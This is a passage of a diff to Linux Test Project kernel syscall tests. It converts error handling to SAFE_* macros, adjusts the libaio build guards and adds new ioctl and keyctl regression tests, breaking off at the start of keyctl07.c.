-		if (close(fd) == -1) {
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "close(%s) failed", FILE_NAME1);
-		}
+		SAFE_CLOSE(cleanup, fd);
 		event_set[tst_count].mask = IN_CLOSE_WRITE;
 		strcpy(event_set[tst_count].name, FILE_NAME1);
 		tst_count++;
 
-		if (rename(FILE_NAME1, FILE_NAME2) == -1) {
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "rename(%s, %s) failed",
-				 FILE_NAME1, FILE_NAME2);
-		}
+		SAFE_RENAME(cleanup, FILE_NAME1, FILE_NAME2);
 		event_set[tst_count].mask = IN_MOVED_FROM;
 		strcpy(event_set[tst_count].name, FILE_NAME1);
 		tst_count++;
@@ -140,18 +131,12 @@
 		}
 
 		snprintf(fname2, BUF_SIZE, "%s.rename1", fname1);
-		if (rename(fname1, fname2) == -1) {
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "rename(%s, %s) failed", fname1, fname2);
-		}
+		SAFE_RENAME(cleanup, fname1, fname2);
 		event_set[tst_count].mask = IN_MOVE_SELF;
 		strcpy(event_set[tst_count].name, "");
 		tst_count++;
 
-		if (unlink(FILE_NAME2) == -1) {
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "unlink(%s) failed", FILE_NAME2);
-		}
+		SAFE_UNLINK(cleanup, FILE_NAME2);
 		event_set[tst_count].mask = IN_DELETE;
 		strcpy(event_set[tst_count].name, FILE_NAME2);
 		tst_count++;
@@ -163,15 +148,9 @@
 		 * 2.6.25. See comment below.
 		 */
 		snprintf(fname3, BUF_SIZE, "%s.rename2", fname1);
-		if (rename(fname2, fname3) == -1) {
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "rename(%s, %s) failed", fname2, fname3);
-		}
+		SAFE_RENAME(cleanup, fname2, fname3);
 
-		if (rename(fname3, fname1) == -1) {
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "rename(%s, %s) failed", fname3, fname1);
-		}
+		SAFE_RENAME(cleanup, fname3, fname1);
 		event_set[tst_count].mask = IN_MOVE_SELF;
 		strcpy(event_set[tst_count].name, "");
 		tst_count++;
diff --git a/testcases/kernel/syscalls/inotify/inotify03.c b/testcases/kernel/syscalls/inotify/inotify03.c
index ec2f5d2..065890a 100644
--- a/testcases/kernel/syscalls/inotify/inotify03.c
+++ b/testcases/kernel/syscalls/inotify/inotify03.c
@@ -42,6 +42,7 @@
 #include <sys/syscall.h>
 #include <signal.h>
 #include "test.h"
+#include "safe_macros.h"
 #include "lapi/syscalls.h"
 #include "inotify.h"
 
@@ -182,10 +183,7 @@
 
 	tst_mkfs(cleanup, device, fs_type, NULL, NULL);
 
-	if (mkdir(mntpoint, DIR_MODE) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup, "mkdir(%s, %#o) failed",
-			 mntpoint, DIR_MODE);
-	}
+	SAFE_MKDIR(cleanup, mntpoint, DIR_MODE);
 
 	/* Call mount(2) */
 	tst_resm(TINFO, "mount %s to %s fs_type=%s", device, mntpoint, fs_type);
@@ -198,11 +196,7 @@
 	mount_flag = 1;
 
 	sprintf(fname, "%s/tfile_%d", mntpoint, getpid());
-	fd = open(fname, O_RDWR | O_CREAT, 0700);
-	if (fd == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "open(%s, O_RDWR|O_CREAT,0700) failed", fname);
-	}
+	fd = SAFE_OPEN(cleanup, fname, O_RDWR | O_CREAT, 0700);
 
 	ret = write(fd, fname, 1);
 	if (ret == -1) {
@@ -211,8 +205,7 @@
 	}
 
 	/* close the file we have open */
-	if (close(fd) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "close(%s) failed", fname);
+	SAFE_CLOSE(cleanup, fd);
 
 	fd_notify = myinotify_init();
 
diff --git a/testcases/kernel/syscalls/io_cancel/io_cancel01.c b/testcases/kernel/syscalls/io_cancel/io_cancel01.c
index 8d7ca26..ed6af05 100644
--- a/testcases/kernel/syscalls/io_cancel/io_cancel01.c
+++ b/testcases/kernel/syscalls/io_cancel/io_cancel01.c
@@ -21,6 +21,9 @@
 /* Porting from Crackerjack to LTP is done
    by Masatake YAMATO <yamato@redhat.com> */
 
+#include <errno.h>
+#include <string.h>
+
 #include "config.h"
 #include "test.h"
 
@@ -28,10 +31,8 @@
 
 int TST_TOTAL = 1;
 
-#ifdef HAVE_LIBAIO_H
+#ifdef HAVE_LIBAIO
 #include <libaio.h>
-#include <errno.h>
-#include <string.h>
 
 static void cleanup(void)
 {
@@ -105,9 +106,10 @@
 	cleanup();
 	tst_exit();
 }
+
 #else
-int main(int argc, char *argv[])
+int main(void)
 {
-	tst_brkm(TCONF, NULL, "System doesn't have libaio support");
+	tst_brkm(TCONF, NULL, "test requires libaio and it's development packages");
 }
 #endif
diff --git a/testcases/kernel/syscalls/io_destroy/io_destroy01.c b/testcases/kernel/syscalls/io_destroy/io_destroy01.c
index 9de4987..88bef7e 100644
--- a/testcases/kernel/syscalls/io_destroy/io_destroy01.c
+++ b/testcases/kernel/syscalls/io_destroy/io_destroy01.c
@@ -21,6 +21,9 @@
 /* Porting from Crackerjack to LTP is done
    by Masatake YAMATO <yamato@redhat.com> */
 
+#include <errno.h>
+#include <string.h>
+
 #include "config.h"
 #include "test.h"
 
@@ -28,10 +31,8 @@
 
 int TST_TOTAL = 1;
 
-#ifdef HAVE_LIBAIO_H
+#ifdef HAVE_LIBAIO
 #include <libaio.h>
-#include <errno.h>
-#include <string.h>
 
 static void cleanup(void)
 {
@@ -99,9 +100,10 @@
 	cleanup();
 	tst_exit();
 }
+
 #else
-int main(int argc, char *argv[])
+int main(void)
 {
-	tst_brkm(TCONF, NULL, "System doesn't support execution of the test");
+	tst_brkm(TCONF, NULL, "test requires libaio and it's development packages");
 }
 #endif
diff --git a/testcases/kernel/syscalls/io_getevents/io_getevents01.c b/testcases/kernel/syscalls/io_getevents/io_getevents01.c
index 0f31ece..b34f179 100644
--- a/testcases/kernel/syscalls/io_getevents/io_getevents01.c
+++ b/testcases/kernel/syscalls/io_getevents/io_getevents01.c
@@ -21,17 +21,17 @@
 /* Porting from Crackerjack to LTP is done
    by Masatake YAMATO <yamato@redhat.com> */
 
+#include <errno.h>
+#include <string.h>
+
 #include "config.h"
 #include "test.h"
 
 char *TCID = "io_getevents01";
-
 int TST_TOTAL = 1;
 
-#ifdef HAVE_LIBAIO_H
+#ifdef HAVE_LIBAIO
 #include <libaio.h>
-#include <errno.h>
-#include <string.h>
 
 static void cleanup(void)
 {
@@ -104,9 +104,10 @@
 	cleanup();
 	tst_exit();
 }
+
 #else
-int main(int argc, char *argv[])
+int main(void)
 {
-	tst_brkm(TCONF, NULL, "System doesn't support execution of the test");
+	tst_brkm(TCONF, NULL, "test requires libaio and it's development packages");
 }
 #endif
diff --git a/testcases/kernel/syscalls/io_setup/io_setup01.c b/testcases/kernel/syscalls/io_setup/io_setup01.c
index 829cef5..22b91bc 100644
--- a/testcases/kernel/syscalls/io_setup/io_setup01.c
+++ b/testcases/kernel/syscalls/io_setup/io_setup01.c
@@ -21,6 +21,9 @@
 /* Porting from Crackerjack to LTP is done
    by Masatake YAMATO <yamato@redhat.com> */
 
+#include <errno.h>
+#include <string.h>
+
 #include "config.h"
 #include "test.h"
 
@@ -28,10 +31,8 @@
 
 int TST_TOTAL = 4;
 
-#ifdef HAVE_LIBAIO_H
+#ifdef HAVE_LIBAIO
 #include <libaio.h>
-#include <errno.h>
-#include <string.h>
 
 static void cleanup(void)
 {
@@ -131,9 +132,10 @@
 
 	tst_exit();
 }
+
 #else
-int main(int argc, char *argv[])
+int main(void)
 {
-	tst_brkm(TCONF, NULL, "System doesn't support execution of the test");
+	tst_brkm(TCONF, NULL, "test requires libaio and it's development packages");
 }
 #endif
diff --git a/testcases/kernel/syscalls/io_submit/io_submit01.c b/testcases/kernel/syscalls/io_submit/io_submit01.c
index 9baf520..f4f9933 100644
--- a/testcases/kernel/syscalls/io_submit/io_submit01.c
+++ b/testcases/kernel/syscalls/io_submit/io_submit01.c
@@ -20,15 +20,16 @@
 /* Porting from Crackerjack to LTP is done
    by Masatake YAMATO <yamato@redhat.com> */
 
-#include "config.h"
-#include "tst_test.h"
-
-#ifdef HAVE_LIBAIO_H
-#include <libaio.h>
 #include <errno.h>
 #include <string.h>
 #include <fcntl.h>
 
+#include "config.h"
+#include "tst_test.h"
+
+#ifdef HAVE_LIBAIO
+#include <libaio.h>
+
 static io_context_t ctx;
 static io_context_t invalid_ctx;
 
@@ -139,5 +140,5 @@
 };
 
 #else
-	TST_TEST_TCONF("libaio.h was mission upon compilation");
+	TST_TEST_TCONF("test requires libaio and it's development packages");
 #endif
diff --git a/testcases/kernel/syscalls/ioctl/ioctl01.c b/testcases/kernel/syscalls/ioctl/ioctl01.c
index 79f27f6..ceb54aa 100644
--- a/testcases/kernel/syscalls/ioctl/ioctl01.c
+++ b/testcases/kernel/syscalls/ioctl/ioctl01.c
@@ -55,6 +55,7 @@
 #include <termio.h>
 #include <termios.h>
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "ioctl01";
 int TST_TOTAL = 5;
@@ -119,9 +120,7 @@
 
 	setup();
 
-	fd = open(devname, O_RDWR, 0777);
-	if (fd == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "Couldn't open %s", devname);
+	fd = SAFE_OPEN(cleanup, devname, O_RDWR, 0777);
 
 	for (lc = 0; TEST_LOOPING(lc); lc++) {
 
diff --git a/testcases/kernel/syscalls/ioctl/ioctl02.c b/testcases/kernel/syscalls/ioctl/ioctl02.c
index c564823..a4b468e 100644
--- a/testcases/kernel/syscalls/ioctl/ioctl02.c
+++ b/testcases/kernel/syscalls/ioctl/ioctl02.c
@@ -67,6 +67,7 @@
 #include <sys/ioctl.h>
 #include <sys/termios.h>
 #include "test.h"
+#include "safe_macros.h"
 
 #define	CNUL	0
 
@@ -183,8 +184,7 @@
 		 */
 		if (ioctl(parentfd, TCSETA, &save_io) == -1)
 			tst_resm(TINFO, "ioctl restore failed in main");
-		if (close(parentfd) == -1)
-			tst_brkm(TBROK, cleanup, "close() failed in main");
+		SAFE_CLOSE(cleanup, parentfd);
 
 		closed = 1;
 	}
@@ -361,18 +361,13 @@
 {
 	int pfd;
 
-	pfd = open(parenttty, O_RDWR, 0777);
-	if (pfd < 0)
-		tst_brkm(TBROK, cleanup, "Could not open %s in "
-			 "do_parent_setup(), errno = %d", parenttty, errno);
+	pfd = SAFE_OPEN(cleanup, parenttty, O_RDWR, 0777);
 
 	/* unset the closed flag */
 	closed = 0;
 
 	/* flush tty queues to remove old output */
-	if (ioctl(pfd, TCFLSH, 2) < 0)
-		tst_brkm(TBROK, cleanup, "ioctl TCFLSH failed : "
-			 "errno = %d", errno);
+	SAFE_IOCTL(cleanup, pfd, TCFLSH, 2);
 	return pfd;
 }
 
@@ -432,19 +427,13 @@
 	struct sigaction act;
 
 	/* XXX: TERRNO required all over the place */
-	fd = open(devname, O_RDWR, 0777);
-	if (fd < 0)
-		tst_brkm(TBROK, NULL, "Could not open %s in "
-			 "setup(), errno = %d", devname, errno);
+	fd = SAFE_OPEN(NULL, devname, O_RDWR, 0777);
 
 	/* Save the current device information - to be restored in cleanup() */
-	if (ioctl(fd, TCGETA, &save_io) < 0)
-		tst_brkm(TBROK, cleanup, "TCGETA ioctl failed in "
-			 "do_parent_setup");
+	SAFE_IOCTL(cleanup, fd, TCGETA, &save_io);
 
 	/* Close the device */
-	if (close(fd) == -1)
-		tst_brkm(TBROK, cleanup, "close failed in setup");
+	SAFE_CLOSE(cleanup, fd);
 
 	/* Set up the signal handlers */
 	act.sa_handler = (void *)sigterm_handler;
diff --git a/testcases/kernel/syscalls/ioctl/ioctl03.c b/testcases/kernel/syscalls/ioctl/ioctl03.c
index 83433b8..0ae3cb2 100644
--- a/testcases/kernel/syscalls/ioctl/ioctl03.c
+++ b/testcases/kernel/syscalls/ioctl/ioctl03.c
@@ -1,41 +1,35 @@
 /*
- *
- * Copyright (c) Rusty Russell <rusty@rustcorp.com.au>
  * Copyright (c) International Business Machines  Corp., 2008
+ * Copyright (c) Linux Test Project, 2017
  *
- * This program is free software;  you can redistribute it and/or modify
+ * This program is free software: you can redistribute it and/or modify
  * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
+ * the Free Software Foundation, either version 2 of the License, or
  * (at your option) any later version.
  *
  * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
  *
  * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
  */
 
 /*
- *
- *
  * File:        ioctl03.c
  *
  * Description: This program tests whether all the valid IFF flags are
  *              returned properly by implementation of TUNGETFEATURES ioctl
  *              on kernel 2.6.27
  *
- * Total Tests: 1
- *
  * Test Name:   ioctl03
  *
  * Author:      Rusty Russell <rusty@rustcorp.com.au>
  *
- * History:     Created - Nov 28 2008 - Rusty Russell <rusty@rustcorp.com.au>
- *              Ported to LTP
- *                      - Nov 28 2008 - Subrata <subrata@linux.vnet.ibm.com>
+ * history:     created - nov 28 2008 - rusty russell <rusty@rustcorp.com.au>
+ *              ported to ltp
+ *                      - nov 28 2008 - subrata <subrata@linux.vnet.ibm.com>
  */
 
 #include <sys/types.h>
@@ -43,10 +37,8 @@
 #include <sys/stat.h>
 #include <fcntl.h>
 #include <errno.h>
-#include <stdio.h>
 #include <linux/if_tun.h>
-
-#include "test.h"
+#include "tst_test.h"
 
 #ifndef TUNGETFEATURES
 #define TUNGETFEATURES _IOR('T', 207, unsigned int)
@@ -60,58 +52,57 @@
 #define IFF_MULTI_QUEUE	0x0100
 #endif
 
-char *TCID = "ioctl03";
-int TST_TOTAL = 1;
+#ifndef IFF_NAPI
+#define IFF_NAPI	0x0010
+#endif
 
-static void cleanup(void)
-{
-	tst_rmdir();
-}
-
-static void setup(void)
-{
-	TEST_PAUSE;
-	tst_tmpdir();
-}
+#ifndef IFF_NAPI_FRAGS
+#define IFF_NAPI_FRAGS	0x0020
+#endif
 
 static struct {
 	unsigned int flag;
 	const char *name;
 } known_flags[] = {
-	{
-	IFF_TUN, "TUN"}, {
-	IFF_TAP, "TAP"}, {
-	IFF_NO_PI, "NO_PI"}, {
-	IFF_ONE_QUEUE, "ONE_QUEUE"}, {
-	IFF_VNET_HDR, "VNET_HDR"}, {
-	IFF_MULTI_QUEUE, "MULTI_QUEUE"}
+	{IFF_TUN, "TUN"},
+	{IFF_TAP, "TAP"},
+	{IFF_NO_PI, "NO_PI"},
+	{IFF_ONE_QUEUE, "ONE_QUEUE"},
+	{IFF_VNET_HDR, "VNET_HDR"},
+	{IFF_MULTI_QUEUE, "MULTI_QUEUE"},
+	{IFF_NAPI, "IFF_NAPI"},
+	{IFF_NAPI_FRAGS, "IFF_NAPI_FRAGS"}
 };
 
-int main(void)
+static void verify_features(void)
 {
 	unsigned int features, i;
 
-	setup();
-	tst_require_root();
-
 	int netfd = open("/dev/net/tun", O_RDWR);
-	if (netfd < 0)
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "opening /dev/net/tun failed");
+	if (netfd == -1) {
+		if (errno == ENODEV)
+			tst_brk(TCONF, "TUN support is missing?");
 
-	if (ioctl(netfd, TUNGETFEATURES, &features) != 0)
-		tst_brkm(TCONF, cleanup,
-			 "Kernel does not support TUNGETFEATURES");
-	tst_resm(TINFO, "Available features are: %#x", features);
-	for (i = 0; i < sizeof(known_flags) / sizeof(known_flags[0]); i++) {
+		tst_brk(TBROK | TERRNO, "opening /dev/net/tun failed");
+	}
+
+	SAFE_IOCTL(netfd, TUNGETFEATURES, &features);
+
+	tst_res(TINFO, "Available features are: %#x", features);
+	for (i = 0; i < ARRAY_SIZE(known_flags); i++) {
 		if (features & known_flags[i].flag) {
 			features &= ~known_flags[i].flag;
-			tst_resm(TINFO, "%s %#x", known_flags[i].name,
+			tst_res(TPASS, "%s %#x", known_flags[i].name,
 				 known_flags[i].flag);
 		}
 	}
 	if (features)
-		tst_resm(TFAIL, "(UNKNOWN %#x)", features);
-	cleanup();
-	tst_exit();
+		tst_res(TFAIL, "(UNKNOWN %#x)", features);
+
+	SAFE_CLOSE(netfd);
 }
+
+static struct tst_test test = {
+	.test_all = verify_features,
+	.needs_root = 1,
+};
diff --git a/testcases/kernel/syscalls/ioctl/ioctl07.c b/testcases/kernel/syscalls/ioctl/ioctl07.c
new file mode 100644
index 0000000..fb11178
--- /dev/null
+++ b/testcases/kernel/syscalls/ioctl/ioctl07.c
@@ -0,0 +1,70 @@
+/*
+ * Copyright (c) 2017 Carlo Marcelo Arenas Belón <carenas@gmail.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/*
+ * Very basic test for the RND* ioctls.
+ *
+ * Reads the entropy available from both /proc and the ioctl and compares
+ * they are similar enough (within a configured fuzz factor)
+ *
+ */
+
+#include <asm/types.h>
+#include <linux/random.h>
+#include <stdlib.h>
+#include "tst_test.h"
+
+static char *s_fuzz;
+static int fuzz = 2;
+static struct tst_option options[] = {
+	{"f:", &s_fuzz, "-f c     Fuzz factor for valid match (default 2)"},
+	{NULL, NULL, NULL}
+};
+static int fd;
+
+static void verify_ioctl(void)
+{
+	int cnt, pcnt;
+
+	SAFE_IOCTL(fd, RNDGETENTCNT, &cnt);
+	SAFE_FILE_SCANF("/proc/sys/kernel/random/entropy_avail", "%d", &pcnt);
+	tst_res(TINFO, "entropy value from ioctl: %d, proc: %d", cnt, pcnt);
+
+	if (abs(pcnt - cnt) <= fuzz)
+		tst_res(TPASS, "entropy value within expected parameters");
+	else
+		tst_res(TFAIL, "incorrect entropy value from ioctl");
+}
+
+static void setup(void)
+{
+	fd = SAFE_OPEN("/dev/urandom", O_RDONLY);
+	if (s_fuzz)
+		fuzz = SAFE_STRTOL(s_fuzz, 0, 4096);
+}
+
+static void cleanup(void)
+{
+	if (fd > 0)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.options = options,
+	.test_all = verify_ioctl,
+};
diff --git a/testcases/kernel/syscalls/ioctl/test_ioctl b/testcases/kernel/syscalls/ioctl/test_ioctl
index 1151b55..9232754 100755
--- a/testcases/kernel/syscalls/ioctl/test_ioctl
+++ b/testcases/kernel/syscalls/ioctl/test_ioctl
@@ -26,7 +26,7 @@
 has_tty()
 {
     if command -v stty >/dev/null 2>&1; then
-        stty --file=$1 > /dev/null
+        stty -F $1 > /dev/null
         if [ $? -ne 0 ]; then
             return 0
         fi
diff --git a/testcases/kernel/syscalls/ioperm/ioperm02.c b/testcases/kernel/syscalls/ioperm/ioperm02.c
index a25531e..3d9b144 100644
--- a/testcases/kernel/syscalls/ioperm/ioperm02.c
+++ b/testcases/kernel/syscalls/ioperm/ioperm02.c
@@ -77,6 +77,7 @@
 #include <sys/io.h>
 #include <pwd.h>
 #include "test.h"
+#include "safe_macros.h"
 
 #define NUM_BYTES 3
 #define TURN_ON 1
@@ -179,9 +180,7 @@
 void cleanup1(void)
 {
 	/* reset user as root */
-	if (seteuid(0) == -1) {
-		tst_brkm(TBROK, NULL, "Failed to set uid as root");
-	}
+	SAFE_SETEUID(NULL, 0);
 }
 
 /* setup() - performs all ONE TIME setup for this test */
@@ -237,6 +236,7 @@
 #else /* __i386__ */
 
 #include "test.h"
+#include "safe_macros.h"
 
 int TST_TOTAL = 0;
 
diff --git a/testcases/kernel/syscalls/iopl/iopl02.c b/testcases/kernel/syscalls/iopl/iopl02.c
index be3be1b..35d2392 100644
--- a/testcases/kernel/syscalls/iopl/iopl02.c
+++ b/testcases/kernel/syscalls/iopl/iopl02.c
@@ -78,6 +78,7 @@
 #include <sys/io.h>
 #include <pwd.h>
 #include "test.h"
+#include "safe_macros.h"
 
 #define INVALID_LEVEL 4		/* Invalid privilege level */
 #define EXP_RET_VAL -1
@@ -175,9 +176,7 @@
 void cleanup1(void)
 {
 	/* reset user as root */
-	if (seteuid(0) == -1) {
-		tst_brkm(TBROK, NULL, "Failed to set uid as root");
-	}
+	SAFE_SETEUID(NULL, 0);
 }
 
 /* setup() - performs all ONE TIME setup for this test */
@@ -208,6 +207,7 @@
 #else /* __i386__ */
 
 #include "test.h"
+#include "safe_macros.h"
 
 int TST_TOTAL = 0;
 
diff --git a/testcases/kernel/syscalls/ipc/msgrcv/msgrcv05.c b/testcases/kernel/syscalls/ipc/msgrcv/msgrcv05.c
index 7a8b680..66c4341 100644
--- a/testcases/kernel/syscalls/ipc/msgrcv/msgrcv05.c
+++ b/testcases/kernel/syscalls/ipc/msgrcv/msgrcv05.c
@@ -56,6 +56,7 @@
  */
 
 #include "test.h"
+#include "safe_macros.h"
 
 #include "ipcmsg.h"
 
@@ -116,8 +117,7 @@
 			TST_PROCESS_STATE_WAIT(cleanup, c_pid, 'S');
 
 			/* send a signal that must be caught to the child */
-			if (kill(c_pid, SIGHUP) == -1)
-				tst_brkm(TBROK, cleanup, "kill failed");
+			SAFE_KILL(cleanup, c_pid, SIGHUP);
 
 			waitpid(c_pid, NULL, 0);
 		}
diff --git a/testcases/kernel/syscalls/ipc/semctl/semctl01.c b/testcases/kernel/syscalls/ipc/semctl/semctl01.c
index 39cf64e..2f443db 100644
--- a/testcases/kernel/syscalls/ipc/semctl/semctl01.c
+++ b/testcases/kernel/syscalls/ipc/semctl/semctl01.c
@@ -47,6 +47,7 @@
 #endif
 #include <sys/wait.h>
 #include "ipcsem.h"
+#include "safe_macros.h"
 
 char *TCID = "semctl01";
 
@@ -127,16 +128,14 @@
 	int j, status;
 
 	for (j = 0; j < NCHILD; j++) {
-		if (kill(pid_arr[j], SIGKILL) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup, "child kill failed");
+		SAFE_KILL(cleanup, pid_arr[j], SIGKILL);
 	}
 
 	/*
 	 * make sure children finished before we proceed with next testcase
 	 */
 	for (j = 0; j < NCHILD; j++) {
-		if (wait(&status) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup, "wait() failed");
+		SAFE_WAIT(cleanup, &status);
 	}
 }
 
diff --git a/testcases/kernel/syscalls/ipc/semop/semop05.c b/testcases/kernel/syscalls/ipc/semop/semop05.c
index 34bb4da..6ed2501 100644
--- a/testcases/kernel/syscalls/ipc/semop/semop05.c
+++ b/testcases/kernel/syscalls/ipc/semop/semop05.c
@@ -64,6 +64,7 @@
 
 #include <sys/types.h>
 #include <sys/wait.h>
+#include "safe_macros.h"
 
 char *TCID = "semop05";
 int TST_TOTAL = 4;
@@ -160,10 +161,7 @@
 					/* remove the semaphore resource */
 					rm_sema(sem_id_1);
 				} else {
-					if (kill(pid, SIGHUP) == -1) {
-						tst_brkm(TBROK, cleanup,
-							 "kill failed");
-					}
+					SAFE_KILL(cleanup, pid, SIGHUP);
 				}
 
 				/* let the child carry on */
diff --git a/testcases/kernel/syscalls/ipc/shmctl/shmctl01.c b/testcases/kernel/syscalls/ipc/shmctl/shmctl01.c
index ac66ceb..ddf6b86 100644
--- a/testcases/kernel/syscalls/ipc/shmctl/shmctl01.c
+++ b/testcases/kernel/syscalls/ipc/shmctl/shmctl01.c
@@ -47,6 +47,7 @@
 #define _GNU_SOURCE
 #endif
 #include "ipcshm.h"
+#include "safe_macros.h"
 
 char *TCID = "shmctl01";
 
@@ -337,8 +338,7 @@
 
 	/* wake up the childern so they can detach the memory and exit */
 	for (i = 0; i < N_ATTACH; i++) {
-		if (kill(pid_arr[i], SIGUSR1) == -1)
-			tst_brkm(TBROK, cleanup, "kill failed");
+		SAFE_KILL(cleanup, pid_arr[i], SIGUSR1);
 	}
 
 	/* remove the parent's shared memory the second time through */
@@ -348,8 +348,7 @@
 	}
 
 	for (i = 0; i < N_ATTACH; i++) {
-		if (waitpid(pid_arr[i], NULL, 0) == -1)
-			tst_brkm(TBROK, cleanup, "waitpid failed");
+		SAFE_WAITPID(cleanup, pid_arr[i], NULL, 0);
 	}
 
 	stat_time++;
diff --git a/testcases/kernel/syscalls/ipc/shmctl/shmctl03.c b/testcases/kernel/syscalls/ipc/shmctl/shmctl03.c
index a66db3b..97cf27b 100644
--- a/testcases/kernel/syscalls/ipc/shmctl/shmctl03.c
+++ b/testcases/kernel/syscalls/ipc/shmctl/shmctl03.c
@@ -60,6 +60,7 @@
 #include "ipcshm.h"
 #include <sys/types.h>
 #include <sys/wait.h>
+#include "safe_macros.h"
 
 char *TCID = "shmctl03";
 int shm_id_1 = -1;
@@ -110,9 +111,7 @@
 		do_child();
 	} else {
 		/* wait for the child to return */
-		if (waitpid(pid, NULL, 0) == -1) {
-			tst_brkm(TBROK, cleanup, "waitpid failed");
-		}
+		SAFE_WAITPID(cleanup, pid, NULL, 0);
 
 		/* if it exists, remove the shared memory resource */
 		rm_shm(shm_id_1);
diff --git a/testcases/kernel/syscalls/ipc/shmget/shmget05.c b/testcases/kernel/syscalls/ipc/shmget/shmget05.c
index 09ec5b1..01770ba 100644
--- a/testcases/kernel/syscalls/ipc/shmget/shmget05.c
+++ b/testcases/kernel/syscalls/ipc/shmget/shmget05.c
@@ -59,6 +59,7 @@
 #include "ipcshm.h"
 #include <sys/types.h>
 #include <sys/wait.h>
+#include "safe_macros.h"
 
 char *TCID = "shmget05";
 int TST_TOTAL = 1;
@@ -94,9 +95,7 @@
 
 	} else {		/* parent */
 		/* wait for the child to return */
-		if (waitpid(pid, NULL, 0) == -1) {
-			tst_brkm(TBROK, cleanup, "waitpid failed");
-		}
+		SAFE_WAITPID(cleanup, pid, NULL, 0);
 
 		/* if it exists, remove the shared memory resource */
 		rm_shm(shm_id_1);
diff --git a/testcases/kernel/syscalls/keyctl/keyctl06.c b/testcases/kernel/syscalls/keyctl/keyctl06.c
new file mode 100644
index 0000000..c62010e
--- /dev/null
+++ b/testcases/kernel/syscalls/keyctl/keyctl06.c
@@ -0,0 +1,77 @@
+/*
+ * Copyright (c) 2017 Google, Inc.
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program, if not, see <http://www.gnu.org/licenses/>.
+ */
+
+/*
+ * Regression test for:
+ *
+ *	commit e645016abc80 ("KEYS: fix writing past end of user-supplied buffer
+ *	in keyring_read()").
+ *
+ * as well as its follow-on fix:
+ *
+ *	commit 3239b6f29bdf ("KEYS: return full count in keyring_read() if
+ *	buffer is too small")
+ *
+ */
+
+#include <errno.h>
+
+#include "tst_test.h"
+#include "lapi/keyctl.h"
+
+static void add_test_key(const char *description)
+{
+	TEST(add_key("user", description, "payload", 7,
+		     KEY_SPEC_PROCESS_KEYRING));
+	if (TEST_RETURN < 0)
+		tst_brk(TBROK | TTERRNO, "Failed to add test key");
+}
+
+static void do_test(void)
+{
+	key_serial_t key_ids[2];
+
+	add_test_key("key1");
+	add_test_key("key2");
+
+	memset(key_ids, 0, sizeof(key_ids));
+	TEST(keyctl(KEYCTL_READ, KEY_SPEC_PROCESS_KEYRING,
+		    (char *)key_ids, sizeof(key_serial_t)));
+	if (TEST_RETURN < 0)
+		tst_brk(TBROK | TTERRNO, "KEYCTL_READ failed");
+
+	/*
+	 * Do not check key_ids[0], as the contents of the buffer are
+	 * unspecified if it was too small.  However, key_ids[1] must not have
+	 * been written to, as it was outside the buffer.
+	 */
+
+	if (key_ids[1] != 0)
+		tst_brk(TFAIL, "KEYCTL_READ overran the buffer");
+
+	if (TEST_RETURN != sizeof(key_ids)) {
+		tst_brk(TFAIL, "KEYCTL_READ returned %ld but expected %zu",
+			TEST_RETURN, sizeof(key_ids));
+	}
+
+	tst_res(TPASS,
+		"KEYCTL_READ returned full count but didn't overrun the buffer");
+}
+
+static struct tst_test test = {
+	.test_all = do_test,
+};
diff --git a/testcases/kernel/syscalls/keyctl/keyctl07.c b/testcases/kernel/syscalls/keyctl/keyctl07.c
new file mode 100644
index 0000000..39f07eb
--- /dev/null
+++ b/testcases/kernel/syscalls/keyctl/keyctl07.c
@@ -0,0 +1,115 @@
+/*
+ * Copyright (c) 2017 Google, Inc.
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program, if not, see <http://www.gnu.org/licenses/>.
+ */
+
+/*
+ * Regression test for commit 37863c43b2c6 ("KEYS: prevent KEYCTL_READ on
